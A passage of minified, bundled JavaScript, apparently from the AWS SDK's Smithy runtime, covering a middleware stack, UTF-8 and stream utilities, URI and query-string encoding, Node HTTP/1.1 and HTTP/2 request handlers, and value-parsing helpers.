middleware.`);K.splice(f,1)}}for(let P of M)Y.add(P)}K.push(j)},clone:()=>J(tz6()),use:(_)=>{_.applyToStack($)},remove:(_)=>{if(typeof _==="string")return w(_);else return H(_)},removeByTag:(_)=>{let G=!1,Z=wC((W)=>{let{tags:D,name:j,aliases:M}=W;if(D&&D.includes(_)){let P=I7A(j,M);for(let f of P)Y.delete(f);return G=!0,!1}return!0},"filterCb");return A=A.filter(Z),K=K.filter(Z),G},concat:(_)=>{var G;let Z=J(tz6());return Z.use(_),Z.identifyOnResolve(q||Z.identifyOnResolve()||(((G=_.identifyOnResolve)==null?void 0:G.call(_))??!1)),Z},applyToStack:J,identify:()=>{return X(!0).map((_)=>{let G=_.step??_.relation+" "+_.toMiddleware;return Ko(_.name,_.aliases)+" - "+G})},identifyOnResolve(_){if(typeof _==="boolean")q=_;return q},resolve:(_,G)=>{for(let Z of X().map((W)=>W.middleware).reverse())_=Z(_,G);if(q)console.log($.identify());return _}};return $},"constructStack"),Td4={initialize:5,serialize:4,build:3,finalizeRequest:2,deserialize:1},vd4={high:3,normal:2,low:1}});var Sd4=v(($fw,Id4)=>{var{defineProperty:zz1,getOwnPropertyDescriptor:_p9,getOwnPropertyNames:Gp9}=Object,Zp9=Object.prototype.hasOwnProperty,ez6=(A,K)=>zz1(A,"name",{value:K,configurable:!0}),Wp9=(A,K)=>{for(var q in K)zz1(A,q,{get:K[q],enumerable:!0})},Dp9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of Gp9(K))if(!Zp9.call(A,z)&&z!==q)zz1(A,z,{get:()=>K[z],enumerable:!(Y=_p9(K,z))||Y.enumerable})}return A},jp9=(A)=>Dp9(zz1({},"__esModule",{value:!0}),A),Ld4={};Wp9(Ld4,{fromUtf8:()=>yd4,toUint8Array:()=>Mp9,toUtf8:()=>Pp9});Id4.exports=jp9(Ld4);var Rd4=N8A(),yd4=ez6((A)=>{let K=(0,Rd4.fromString)(A,"utf8");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength/Uint8Array.BYTES_PER_ELEMENT)},"fromUtf8"),Mp9=ez6((A)=>{if(typeof A==="string")return yd4(A);if(ArrayBuffer.isView(A))return new Uint8Array(A.buffer,A.byteOffset,A.byteLength/Uint8Array.BYTES_PER_ELEMENT);return new Uint8Array(A)},"toUint8Array"),Pp9=ez6((A)=>{if(typeof A==="string")return A;if(typeof A!=="object"||typeof A.byteOffset!=="number"||typeof A.byteLength!=="number")throw Error("@smithy/util-utf8: toUtf8 encoder function only accepts string | Uint8Array.");return(0,Rd4.fromArrayBuffer)(A.buffer,A.byteOffset,A.byteLength).toString("utf8")},"toUtf8")});var xd4=v((hd4)=>{Object.defineProperty(hd4,"__esModule",{value:!0});hd4.getAwsChunkedEncodingStream=void 0;var Vp9=CA("stream"),fp9=(A,K)=>{let{base64Encoder:q,bodyLengthChecker:Y,checksumAlgorithmFn:z,checksumLocationName:w,streamHasher:H}=K,J=q!==void 0&&z!==void 0&&w!==void 0&&H!==void 0,O=J?H(z,A):void 0,X=new Vp9.Readable({read:()=>{}});return A.on("data",($)=>{let _=Y($)||0;X.push(`${_.toString(16)}\r `),X.push($),X.push(`\r `)}),A.on("end",async()=>{if(X.push(`0\r `),J){let $=q(await O);X.push(`${w}:${$}\r `),X.push(`\r `)}X.push(null)}),X};hd4.getAwsChunkedEncodingStream=fp9});var gd4=v((Gfw,md4)=>{var{defineProperty:wz1,getOwnPropertyDescriptor:Np9,getOwnPropertyNames:Tp9}=Object,vp9=Object.prototype.hasOwnProperty,Aw6=(A,K)=>wz1(A,"name",{value:K,configurable:!0}),Ep9=(A,K)=>{for(var q in K)wz1(A,q,{get:K[q],enumerable:!0})},kp9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of Tp9(K))if(!vp9.call(A,z)&&z!==q)wz1(A,z,{get:()=>K[z],enumerable:!(Y=Np9(K,z))||Y.enumerable})}return A},Cp9=(A)=>kp9(wz1({},"__esModule",{value:!0}),A),ud4={};Ep9(ud4,{escapeUri:()=>Bd4,escapeUriPath:()=>Rp9});md4.exports=Cp9(ud4);var Bd4=Aw6((A)=>encodeURIComponent(A).replace(/[!'()*]/g,Lp9),"escapeUri"),Lp9=Aw6((A)=>`%${A.charCodeAt(0).toString(16).toUpperCase()}`,"hexEncode"),Rp9=Aw6((A)=>A.split("/").map(Bd4).join("/"),"escapeUriPath")});var pd4=v((Zfw,Ud4)=>{var{defineProperty:Hz1,getOwnPropertyDescriptor:yp9,getOwnPropertyNames:Ip9}=Object,Sp9=Object.prototype.hasOwnProperty,hp9=(A,K)=>Hz1(A,"name",{value:K,configurable:!0}),bp9=(A,K)=>{for(var q in K)Hz1(A,q,{get:K[q],enumerable:!0})},xp9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of Ip9(K))if(!Sp9.call(A,z)&&z!==q)Hz1(A,z,{get:()=>K[z],enumerable:!(Y=yp9(K,z))||Y.enumerable})}return A},up9=(A)=>xp9(Hz1({},"__esModule",{value:!0}),A),Fd4={};bp9(Fd4,{buildQueryString:()=>Qd4});Ud4.exports=up9(Fd4);var Kw6=gd4();function Qd4(A){let K=[];for(let q of Object.keys(A).sort()){let Y=A[q];if(q=(0,Kw6.escapeUri)(q),Array.isArray(Y))for(let z=0,w=Y.length;z<w;z++)K.push(`${q}=${(0,Kw6.escapeUri)(Y[z])}`);else{let z=q;if(Y||typeof Y==="string")z+=`=${(0,Kw6.escapeUri)(Y)}`;K.push(z)}}return K.join("&")}hp9(Qd4,"buildQueryString")});var zc4=v((Wfw,Yc4)=>{var{create:Bp9,defineProperty:lSA,getOwnPropertyDescriptor:mp9,getOwnPropertyNames:gp9,getPrototypeOf:Fp9}=Object,Qp9=Object.prototype.hasOwnProperty,jG=(A,K)=>lSA(A,"name",{value:K,configurable:!0}),Up9=(A,K)=>{for(var q in K)lSA(A,q,{get:K[q],enumerable:!0})},ld4=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of gp9(K))if(!Qp9.call(A,z)&&z!==q)lSA(A,z,{get:()=>K[z],enumerable:!(Y=mp9(K,z))||Y.enumerable})}return A},pp9=(A,K,q)=>(q=A!=null?Bp9(Fp9(A)):{},ld4(K||!A||!A.__esModule?lSA(q,"default",{value:A,enumerable:!0}):q,A)),dp9=(A)=>ld4(lSA({},"__esModule",{value:!0}),A),id4={};Up9(id4,{DEFAULT_REQUEST_TIMEOUT:()=>rp9,NodeHttp2Handler:()=>ep9,NodeHttpHandler:()=>op9,streamCollector:()=>Kd9});Yc4.exports=dp9(id4);var nd4=L26(),rd4=pd4(),qw6=CA("http"),Yw6=CA("https"),cp9=["ECONNRESET","EPIPE","ETIMEDOUT"],od4=jG((A)=>{let K={};for(let q of Object.keys(A)){let Y=A[q];K[q]=Array.isArray(Y)?Y.join(","):Y}return K},"getTransformedHeaders"),lp9=jG((A,K,q=0)=>{if(!q)return;let Y=setTimeout(()=>{A.destroy(),K(Object.assign(Error(`Socket timed out without establishing a connection within ${q} ms`),{name:"TimeoutError"}))},q);A.on("socket",(z)=>{if(z.connecting)z.on("connect",()=>{clearTimeout(Y)});else clearTimeout(Y)})},"setConnectionTimeout"),ip9=jG((A,{keepAlive:K,keepAliveMsecs:q})=>{if(K!==!0)return;A.on("socket",(Y)=>{Y.setKeepAlive(K,q||0)})},"setSocketKeepAlive"),np9=jG((A,K,q=0)=>{A.setTimeout(q,()=>{A.destroy(),K(Object.assign(Error(`Connection timed out after ${q} ms`),{name:"TimeoutError"}))})},"setSocketTimeout"),ad4=CA("stream"),dd4=1000;async function zw6(A,K,q=dd4){let Y=K.headers??{},z=Y.Expect||Y.expect,w=-1,H=!1;if(z==="100-continue")await Promise.race([new Promise((J)=>{w=Number(setTimeout(J,Math.max(dd4,q)))}),new Promise((J)=>{A.on("continue",()=>{clearTimeout(w),J()}),A.on("error",()=>{H=!0,clearTimeout(w),J()})})]);if(!H)sd4(A,K.body)}jG(zw6,"writeRequestBody");function sd4(A,K){if(K instanceof ad4.Readable){K.pipe(A);return}if(K){if(Buffer.isBuffer(K)||typeof K==="string"){A.end(K);return}let q=K;if(typeof q==="object"&&q.buffer&&typeof q.byteOffset==="number"&&typeof q.byteLength==="number"){A.end(Buffer.from(q.buffer,q.byteOffset,q.byteLength));return}A.end(Buffer.from(K));return}A.end()}jG(sd4,"writeBody");var rp9=0,td4=class A{constructor(K){this.socketWarningTimestamp=0,this.metadata={handlerProtocol:"http/1.1"},this.configProvider=new Promise((q,Y)=>{if(typeof K==="function")K().then((z)=>{q(this.resolveDefaultConfig(z))}).catch(Y);else q(this.resolveDefaultConfig(K))})}static create(K){if(typeof(K==null?void 0:K.handle)==="function")return K;return new A(K)}static checkSocketUsage(K,q){var Y,z;let{sockets:w,requests:H,maxSockets:J}=K;if(typeof J!=="number"||J===1/0)return q;let O=15000;if(Date.now()-O<q)return q;if(w&&H)for(let X in w){let $=((Y=w[X])==null?void 0:Y.length)??0,_=((z=H[X])==null?void 0:z.length)??0;if($>=J&&_>=2*J)return console.warn("@smithy/node-http-handler:WARN",`socket usage at capacity=${$} and ${_} additional requests are enqueued.`,"See https://docs.aws.amazon.com/sdk-for-javascript/v3/developer-guide/node-configuring-maxsockets.html","or increase socketAcquisitionWarningTimeout=(millis) in the NodeHttpHandler config."),Date.now()}return q}resolveDefaultConfig(K){let{requestTimeout:q,connectionTimeout:Y,socketTimeout:z,httpAgent:w,httpsAgent:H}=K||{},J=!0,O=50;return{connectionTimeout:Y,requestTimeout:q??z,httpAgent:(()=>{if(w instanceof qw6.Agent||typeof(w==null?void 0:w.destroy)==="function")return w;return new qw6.Agent({keepAlive:!0,maxSockets:50,...w})})(),httpsAgent:(()=>{if(H instanceof Yw6.Agent||typeof(H==null?void 0:H.destroy)==="function")return H;return new Yw6.Agent({keepAlive:!0,maxSockets:50,...H})})()}}destroy(){var K,q,Y,z;(q=(K=this.config)==null?void 0:K.httpAgent)==null||q.destroy(),(z=(Y=this.config)==null?void 0:Y.httpsAgent)==null||z.destroy()}async handle(K,{abortSignal:q}={}){if(!this.config)this.config=await this.configProvider;let Y;return new Promise((z,w)=>{let H=void 0,J=jG(async(P)=>{await H,clearTimeout(Y),z(P)},"resolve"),O=jG(async(P)=>{await H,w(P)},"reject");if(!this.config)throw Error("Node HTTP request handler config is not resolved");if(q==null?void 0:q.aborted){let P=Error("Request aborted");P.name="AbortError",O(P);return}let X=K.protocol==="https:",$=X?this.config.httpsAgent:this.config.httpAgent;Y=setTimeout(()=>{this.socketWarningTimestamp=A.checkSocketUsage($,this.socketWarningTimestamp)},this.config.socketAcquisitionWarningTimeout??(this.config.requestTimeout??2000)+(this.config.connectionTimeout??1000));let _=(0,rd4.buildQueryString)(K.query||{}),G=void 0;if(K.username!=null||K.password!=null){let P=K.username??"",f=K.password??"";G=`${P}:${f}`}let Z=K.path;if(_)Z+=`?${_}`;if(K.fragment)Z+=`#${K.fragment}`;let W={headers:K.headers,host:K.hostname,method:K.method,path:Z,port:K.port,agent:$,auth:G},j=(X?Yw6.request:qw6.request)(W,(P)=>{let f=new nd4.HttpResponse({statusCode:P.statusCode||-1,reason:P.statusMessage,headers:od4(P.headers),body:P});J({response:f})});if(j.on("error",(P)=>{if(cp9.includes(P.code))O(Object.assign(P,{name:"TimeoutError"}));else O(P)}),lp9(j,O,this.config.connectionTimeout),np9(j,O,this.config.requestTimeout),q)q.onabort=()=>{j.abort();let P=Error("Request aborted");P.name="AbortError",O(P)};let M=W.agent;if(typeof M==="object"&&"keepAlive"in M)ip9(j,{keepAlive:M.keepAlive,keepAliveMsecs:M.keepAliveMsecs});H=zw6(j,K,this.config.requestTimeout).catch(w)})}updateHttpClientConfig(K,q){this.config=void 0,this.configProvider=this.configProvider.then((Y)=>{return{...Y,[K]:q}})}httpHandlerConfigs(){return this.config??{}}};jG(td4,"NodeHttpHandler");var op9=td4,cd4=CA("http2"),ap9=pp9(CA("http2")),ed4=class{constructor(K){this.sessions=[],this.sessions=K??[]}poll(){if(this.sessions.length>0)return this.sessions.shift()}offerLast(K){this.sessions.push(K)}contains(K){return this.sessions.includes(K)}remove(K){this.sessions=this.sessions.filter((q)=>q!==K)}[Symbol.iterator](){return this.sessions[Symbol.iterator]()}destroy(K){for(let q of this.sessions)if(q===K){if(!q.destroyed)q.destroy()}}};jG(ed4,"NodeHttp2ConnectionPool");var sp9=ed4,Ac4=class{constructor(K){if(this.sessionCache=new Map,this.config=K,this.config.maxConcurrency&&this.config.maxConcurrency<=0)throw RangeError("maxConcurrency must be greater than zero.")}lease(K,q){let Y=this.getUrlString(K),z=this.sessionCache.get(Y);if(z){let O=z.poll();if(O&&!this.config.disableConcurrency)return O}let w=ap9.default.connect(Y);if(this.config.maxConcurrency)w.settings({maxConcurrentStreams:this.config.maxConcurrency},(O)=>{if(O)throw Error("Fail to set maxConcurrentStreams to "+this.config.maxConcurrency+"when creating new session for "+K.destination.toString())});w.unref();let H=jG(()=>{w.destroy(),this.deleteSession(Y,w)},"destroySessionCb");if(w.on("goaway",H),w.on("error",H),w.on("frameError",H),w.on("close",()=>this.deleteSession(Y,w)),q.requestTimeout)w.setTimeout(q.requestTimeout,H);let J=this.sessionCache.get(Y)||new sp9;return J.offerLast(w),this.sessionCache.set(Y,J),w}deleteSession(K,q){let Y=this.sessionCache.get(K);if(!Y)return;if(!Y.contains(q))return;Y.remove(q),this.sessionCache.set(K,Y)}release(K,q){var Y;let z=this.getUrlString(K);(Y=this.sessionCache.get(z))==null||Y.offerLast(q)}destroy(){for(let[K,q]of this.sessionCache){for(let Y of q){if(!Y.destroyed)Y.destroy();q.remove(Y)}this.sessionCache.delete(K)}}setMaxConcurrentStreams(K){if(this.config.maxConcurrency&&this.config.maxConcurrency<=0)throw RangeError("maxConcurrentStreams must be greater than zero.");this.config.maxConcurrency=K}setDisableConcurrentStreams(K){this.config.disableConcurrency=K}getUrlString(K){return K.destination.toString()}};jG(Ac4,"NodeHttp2ConnectionManager");var tp9=Ac4,Kc4=class A{constructor(K){this.metadata={handlerProtocol:"h2"},this.connectionManager=new tp9({}),this.configProvider=new Promise((q,Y)=>{if(typeof K==="function")K().then((z)=>{q(z||{})}).catch(Y);else q(K||{})})}static create(K){if(typeof(K==null?void 0:K.handle)==="function")return K;return new A(K)}destroy(){this.connectionManager.destroy()}async handle(K,{abortSignal:q}={}){if(!this.config){if(this.config=await this.configProvider,this.connectionManager.setDisableConcurrentStreams(this.config.disableConcurrentStreams||!1),this.config.maxConcurrentStreams)this.connectionManager.setMaxConcurrentStreams(this.config.maxConcurrentStreams)}let{requestTimeout:Y,disableConcurrentStreams:z}=this.config;return new Promise((w,H)=>{var J;let O=!1,X=void 0,$=jG(async(y)=>{await X,w(y)},"resolve"),_=jG(async(y)=>{await X,H(y)},"reject");if(q==null?void 0:q.aborted){O=!0;let y=Error("Request aborted");y.name="AbortError",_(y);return}let{hostname:G,method:Z,port:W,protocol:D,query:j}=K,M="";if(K.username!=null||K.password!=null){let y=K.username??"",B=K.password??"";M=`${y}:${B}@`}let P=`${D}//${M}${G}${W?`:${W}`:""}`,f={destination:new URL(P)},N=this.connectionManager.lease(f,{requestTimeout:(J=this.config)==null?void 0:J.sessionTimeout,disableConcurrentStreams:z||!1}),T=jG((y)=>{if(z)this.destroySession(N);O=!0,_(y)},"rejectWithDestroy"),C=(0,rd4.buildQueryString)(j||{}),R=K.path;if(C)R+=`?${C}`;if(K.fragment)R+=`#${K.fragment}`;let x=N.request({...K.headers,[cd4.constants.HTTP2_HEADER_PATH]:R,[cd4.constants.HTTP2_HEADER_METHOD]:Z});if(N.ref(),x.on("response",(y)=>{let B=new nd4.HttpResponse({statusCode:y[":status"]||-1,headers:od4(y),body:x});if(O=!0,$({response:B}),z)N.close(),this.connectionManager.deleteSession(P,N)}),Y)x.setTimeout(Y,()=>{x.close();let y=Error(`Stream timed out because of no activity for ${Y} ms`);y.name="TimeoutError",T(y)});if(q)q.onabort=()=>{x.close();let y=Error("Request aborted");y.name="AbortError",T(y)};x.on("frameError",(y,B,b)=>{T(Error(`Frame type id ${y} in stream id ${b} has failed with code ${B}.`))}),x.on("error",T),x.on("aborted",()=>{T(Error(`HTTP/2 stream is abnormally aborted in mid-communication with result code ${x.rstCode}.`))}),x.on("close",()=>{if(N.unref(),z)N.destroy();if(!O)T(Error("Unexpected error: http2 request did not get a response"))}),X=zw6(x,K,Y)})}updateHttpClientConfig(K,q){this.config=void 0,this.configProvider=this.configProvider.then((Y)=>{return{...Y,[K]:q}})}httpHandlerConfigs(){return this.config??{}}destroySession(K){if(!K.destroyed)K.destroy()}};jG(Kc4,"NodeHttp2Handler");var ep9=Kc4,qc4=class extends ad4.Writable{constructor(){super(...arguments);this.bufferedBytes=[]}_write(K,q,Y){this.bufferedBytes.push(K),Y()}};jG(qc4,"Collector");var Ad9=qc4,Kd9=jG((A)=>new Promise((K,q)=>{let Y=new Ad9;A.pipe(Y),A.on("error",(z)=>{Y.end(),q(z)}),Y.on("error",q),Y.on("finish",function(){let z=new Uint8Array(Buffer.concat(this.bufferedBytes));K(z)})}),"streamCollector")});var Oc4=v((Hc4)=>{Object.defineProperty(Hc4,"__esModule",{value:!0});Hc4.sdkStreamMixin=void 0;var qd9=zc4(),Yd9=N8A(),ww6=CA("stream"),zd9=CA("util"),wc4="The stream has already been transformed.",wd9=(A)=>{var K,q;if(!(A instanceof ww6.Readable)){let w=((q=(K=A===null||A===void 0?void 0:A.__proto__)===null||K===void 0?void 0:K.constructor)===null||q===void 0?void 0:q.name)||A;throw Error(`Unexpected stream implementation, expect Stream.Readable instance, got ${w}`)}let Y=!1,z=async()=>{if(Y)throw Error(wc4);return Y=!0,await(0,qd9.streamCollector)(A)};return Object.assign(A,{transformToByteArray:z,transformToString:async(w)=>{let H=await z();if(w===void 0||Buffer.isEncoding(w))return(0,Yd9.fromArrayBuffer)(H.buffer,H.byteOffset,H.byteLength).toString(w);else return new zd9.TextDecoder(w).decode(H)},transformToWebStream:()=>{if(Y)throw Error(wc4);if(A.readableFlowing!==null)throw Error("The stream has been consumed by other callbacks.");if(typeof ww6.Readable.toWeb!=="function")throw Error("Readable.toWeb() is not supported. Please make sure you are using Node.js >= 17.0.0, or polyfill is available.");return Y=!0,ww6.Readable.toWeb(A)}})};Hc4.sdkStreamMixin=wd9});var Dc4=v((jfw,Xz1)=>{var{defineProperty:Jz1,getOwnPropertyDescriptor:Hd9,getOwnPropertyNames:Jd9}=Object,Od9=Object.prototype.hasOwnProperty,Ow6=(A,K)=>Jz1(A,"name",{value:K,configurable:!0}),Xd9=(A,K)=>{for(var q in K)Jz1(A,q,{get:K[q],enumerable:!0})},Hw6=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of Jd9(K))if(!Od9.call(A,z)&&z!==q)Jz1(A,z,{get:()=>K[z],enumerable:!(Y=Hd9(K,z))||Y.enumerable})}return A},Xc4=(A,K,q)=>(Hw6(A,K,"default"),q&&Hw6(q,K,"default")),$d9=(A)=>Hw6(Jz1({},"__esModule",{value:!0}),A),Oz1={};Xd9(Oz1,{Uint8ArrayBlobAdapter:()=>Jw6});Xz1.exports=$d9(Oz1);var $c4=sz6(),_c4=Sd4();function Gc4(A,K="utf-8"){if(K==="base64")return(0,$c4.toBase64)(A);return(0,_c4.toUtf8)(A)}Ow6(Gc4,"transformToString");function Zc4(A,K){if(K==="base64")return Jw6.mutate((0,$c4.fromBase64)(A));return Jw6.mutate((0,_c4.fromUtf8)(A))}Ow6(Zc4,"transformFromString");var Wc4=class A extends Uint8Array{static fromString(K,q="utf-8"){switch(typeof K){case"string":return Zc4(K,q);default:throw Error(`Unsupported conversion from ${typeof K} to Uint8ArrayBlobAdapter.`)}}static mutate(K){return Object.setPrototypeOf(K,A.prototype),K}transformToString(K="utf-8"){return Gc4(this,K)}};Ow6(Wc4,"Uint8ArrayBlobAdapter");var Jw6=Wc4;Xc4(Oz1,xd4(),Xz1.exports);Xc4(Oz1,Oc4(),Xz1.exports)});var Fc4=v((Mfw,gc4)=>{var{defineProperty:Zz1,getOwnPropertyDescriptor:_d9,getOwnPropertyNames:Gd9}=Object,Zd9=Object.prototype.hasOwnProperty,Q4=(A,K)=>Zz1(A,"name",{value:K,configurable:!0}),Wd9=(A,K)=>{for(var q in K)Zz1(A,q,{get:K[q],enumerable:!0})},Dd9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of Gd9(K))if(!Zd9.call(A,z)&&z!==q)Zz1(A,z,{get:()=>K[z],enumerable:!(Y=_d9(K,z))||Y.enumerable})}return A},jd9=(A)=>Dd9(Zz1({},"__esModule",{value:!0}),A),Mc4={};Wd9(Mc4,{Client:()=>Pd9,Command:()=>Tc4,LazyJsonString:()=>Wc9,NoOpLogger:()=>Md9,SENSITIVE_STRING:()=>Nd9,ServiceException:()=>qc9,StringWrapper:()=>aSA,_json:()=>Dw6,collectBody:()=>Vd9,convertMap:()=>Dc9,createAggregatedClient:()=>Td9,dateToUtcString:()=>yc4,decorateServiceException:()=>Sc4,emitWarningIfUnsupportedVersion:()=>Hc9,expectBoolean:()=>Ed9,expectByte:()=>Ww6,expectFloat32:()=>$z1,expectInt:()=>Cd9,expectInt32:()=>Gw6,expectLong:()=>rSA,expectNonNull:()=>Rd9,expectNumber:()=>nSA,expectObject:()=>Ec4,expectShort:()=>Zw6,expectString:()=>yd9,expectUnion:()=>Id9,extendedEncodeURIComponent:()=>Gz1,getArrayIfSingleItem:()=>Zc9,getDefaultClientConfiguration:()=>_c9,getDefaultExtensionConfiguration:()=>bc4,getValueFromTextNode:()=>xc4,handleFloat:()=>bd9,limitedParseDouble:()=>Pw6,limitedParseFloat:()=>xd9,limitedParseFloat32:()=>ud9,loadConfigsForDefaultMode:()=>wc9,logger:()=>oSA,map:()=>fw6,parseBoolean:()=>vd9,parseEpochTimestamp:()=>nd9,parseRfc3339DateTime:()=>Qd9,parseRfc3339DateTimeWithOffset:()=>pd9,parseRfc7231DateTime:()=>id9,resolveDefaultRuntimeConfig:()=>Gc9,resolvedPath:()=>fc9,serializeFloat:()=>Nc9,splitEvery:()=>mc4,strictParseByte:()=>Rc4,strictParseDouble:()=>Mw6,strictParseFloat:()=>Sd9,strictParseFloat32:()=>kc4,strictParseInt:()=>Bd9,strictParseInt32:()=>md9,strictParseLong:()=>Lc4,strictParseShort:()=>e$A,take:()=>jc9,throwDefaultError:()=>hc4,withBaseException:()=>Yc9});gc4.exports=jd9(Mc4);var Pc4=class{trace(){}debug(){}info(){}warn(){}error(){}};Q4(Pc4,"NoOpLogger");var Md9=Pc4,Vc4=Cd4(),fc4=class{constructor(K){this.middlewareStack=(0,Vc4.constructStack)(),this.config=K}send(K,q,Y){let z=typeof q!=="function"?q:void 0,w=typeof q==="function"?q:Y,H=K.resolveMiddleware(this.middlewareStack,this.config,z);if(w)H(K).then((J)=>w(null,J.output),(J)=>w(J)).catch(()=>{});else return H(K).then((J)=>J.output)}destroy(){if(this.config.requestHandler.destroy)this.config.requestHandler.destroy()}};Q4(fc4,"Client");var Pd9=fc4,Xw6=Dc4(),Vd9=Q4(async(A=new Uint8Array,K)=>{if(A instanceof Uint8Array)return Xw6.Uint8ArrayBlobAdapter.mutate(A);if(!A)return Xw6.Uint8ArrayBlobAdapter.mutate(new Uint8Array);let q=K.streamCollector(A);return Xw6.Uint8ArrayBlobAdapter.mutate(await q)},"collectBody"),_w6=C26(),Nc4=class{constructor(){this.middlewareStack=(0,Vc4.constructStack)()}static classBuilder(){return new fd9}resolveMiddlewareWithContext(K,q,Y,{middlewareFn:z,clientName:w,commandName:H,inputFilterSensitiveLog:J,outputFilterSensitiveLog:O,smithyContext:X,additionalContext:$,CommandCtor:_}){for(let j of z.bind(this)(_,K,q,Y))this.middlewareStack.use(j);let G=K.concat(this.middlewareStack),{logger:Z}=q,W={logger:Z,clientName:w,commandName:H,inputFilterSensitiveLog:J,outputFilterSensitiveLog:O,[_w6.SMITHY_CONTEXT_KEY]:{...X},...$},{requestHandler:D}=q;return G.resolve((j)=>D.handle(j.request,Y||{}),W)}};Q4(Nc4,"Command");var Tc4=Nc4,vc4=class{constructor(){this._init=()=>{},this._ep={},this._middlewareFn=()=>[],this._commandName="",this._clientName="",this._additionalContext={},this._smithyContext={},this._inputFilterSensitiveLog=(K)=>K,this._outputFilterSensitiveLog=(K)=>K,this._serializer=null,this._deserializer=null}init(K){this._init=K}ep(K){return this._ep=K,this}m(K){return this._middlewareFn=K,this}s(K,q,Y={}){return this._smithyContext={service:K,operation:q,...Y},this}c(K={}){return this._additionalContext=K,this}n(K,q){return this._clientName=K,this._commandName=q,this}f(K=(Y)=>Y,q=(Y)=>Y){return this._inputFilterSensitiveLog=K,this._outputFilterSensitiveLog=q,this}ser(K){return this._serializer=K,this}de(K){return this._deserializer=K,this}build(){var K;let q=this,Y;return Y=(K=class extends Tc4{constructor(...[z]){super();this.serialize=q._serializer,this.deserialize=q._deserializer,this.input=z??{},q._init(this)}static getEndpointParameterInstructions(){return q._ep}resolveMiddleware(z,w,H){return this.resolveMiddlewareWithContext(z,w,H,{CommandCtor:Y,middlewareFn:q._middlewareFn,clientName:q._clientName,commandName:q._commandName,inputFilterSensitiveLog:q._inputFilterSensitiveLog,outputFilterSensitiveLog:q._outputFilterSensitiveLog,smithyContext:q._smithyContext,additionalContext:q._additionalContext})}},Q4(K,"CommandRef"),K)}};Q4(vc4,"ClassBuilder");var fd9=vc4,Nd9="***SensitiveInformation***",Td9=Q4((A,K)=>{for(let q of Object.keys(A)){let Y=A[q],z=Q4(async function(H,J,O){let X=new Y(H);if(typeof J==="function")this.send(X,J);else if(typeof O==="function"){if(typeof J!=="object")throw Error(`Expected http options but got ${typeof J}`);this.send(X,J||{},O)}else return this.send(X,J)},"methodImpl"),w=(q[0].toLowerCase()+q.slice(1)).replace(/Command$/,"");K.prototype[w]=z}},"createAggregatedClient"),vd9=Q4((A)=>{switch(A){case"true":return!0;case"false":return!1;default:throw Error(`Unable to parse boolean value "${A}"`)}},"parseBoolean"),Ed9=Q4((A)=>{if(A===null||A===void 0)return;if(typeof A==="number"){if(A===0||A===1)oSA.warn(_z1(`Expected boolean, got ${typeof A}: ${A}`));if(A===0)return!1;if(A===1)return!0}if(typeof A==="string"){let K=A.toLowerCase();if(K==="false"||K==="true")oSA.warn(_z1(`Expected boolean, got ${typeof A}: ${A}`));if(K==="false")return!1;if(K==="true")return!0}if(typeof A==="boolean")return A;throw TypeError(`Expected boolean, got ${typeof A}: ${A}`)},"expectBoolean"),nSA=Q4((A)=>{if(A===null||A===void 0)return;if(typeof A==="string"){let K=parseFloat(A);if(!Number.isNaN(K)){if(String(K)!==String(A))oSA.warn(_z1(`Expected number but observed string: ${A}`));return K}}if(typeof A==="number")return A;throw TypeError(`Expected number, got ${typeof A}: ${A}`)},"expectNumber"),kd9=Math.ceil(340282346638528860000000000000000000000),$z1=Q4((A)=>{let K=nSA(A);if(K!==void 0&&!Number.isNaN(K)&&K!==1/0&&K!==-1/0){if(Math.abs(K)>kd9)throw TypeError(`Expected 32-bit float, got ${A}`)}return K},"expectFloat32"),rSA=Q4((A)=>{if(A===null||A===void 0)return;if(Number.isInteger(A)&&!Number.isNaN(A))return A;throw TypeError(`Expected integer, got ${typeof A}: ${A}`)},"expectLong"),Cd9=rSA,Gw6=Q4((A)=>jw6(A,32),"expectInt32"),Zw6=Q4((A)=>jw6(A,16),"expectShort"),Ww6=Q4((A)=>jw6(A,8),"expectByte"),jw6=Q4((A,K)=>{let q=rSA(A);if(q!==void 0&&Ld9(q,K)!==q)throw TypeError(`Expected ${K}-bit integer, got ${A}`);return q},"expectSizedInt"),Ld9=Q4((A,K)=>{switch(K){case 32:return Int32Array.of(A)[0];case 16:return Int16Array.of(A)[0];case 8:return Int8Array.of(A)[0]}},"castInt"),Rd9=Q4((A,K)=>{if(A===null||A===void 0){if(K)throw TypeError(`Expected a non-null value for ${K}`);throw TypeError("Expected a non-null value")}return A},"expectNonNull"),Ec4=Q4((A)=>{if(A===null||A===void 0)return;if(typeof A==="object"&&!Array.isArray(A))return A;let K=Array.isArray(A)?"array":typeof A;throw TypeError(`Expected object, got ${K}: ${A}`)},"expectObject"),yd9=Q4((A)=>{if(A===null||A===void 0)return;if(typeof A==="string")return A;if(["boolean","number","bigint"].includes(typeof A))return oSA.warn(_z1(`Expected string, got ${typeof A}: ${A}`)),String(A);throw TypeError(`Expected string, got ${typeof A}: ${A}`)},"expectString"),Id9=Q4((A)=>{if(A===null||A===void 0)return;let K=Ec4(A),q=Object.entries(K).filter(([,Y])=>Y!=null).map(([Y])=>Y);if(q.length===0)throw TypeError("Unions must have exactly one non-null member. None were found.");if(q.length>1)throw TypeError(`Unions must have exactly one non-null member. Keys ${q} were not null.`);return K},"expectUnion"),Mw6=Q4((A)=>{if(typeof A=="string")return nSA(K_A(A));return nSA(A)},"strictParseDouble"),Sd9=Mw6,kc4=Q4((A)=>{if(typeof A=="string")return $z1(K_A(A));return $z1(A)},"strictParseFloat32"),hd9=/(-?(?:0|[1-9]\d*)(?:\.\d+)?(?:[eE][+-]?\d+)?)|(-?Infinity)|(NaN)/g,K_A=Q4((A)=>{let K=A.match(hd9);if(K===null||K[0].length!==A.length)throw TypeError("Expected real number, got implicit NaN");return parseFloat(A)},"parseNumber"),Pw6=Q4((A)=>{if(typeof A=="string")return Cc4(A);return nSA(A)},"limitedParseDouble"),bd9=Pw6,xd9=Pw6,ud9=Q4((A)=>{if(typeof A=="string")return Cc4(A);return $z1(A)},"limitedParseFloat32"),Cc4=Q4((A)=>{switch(A){case"NaN":return 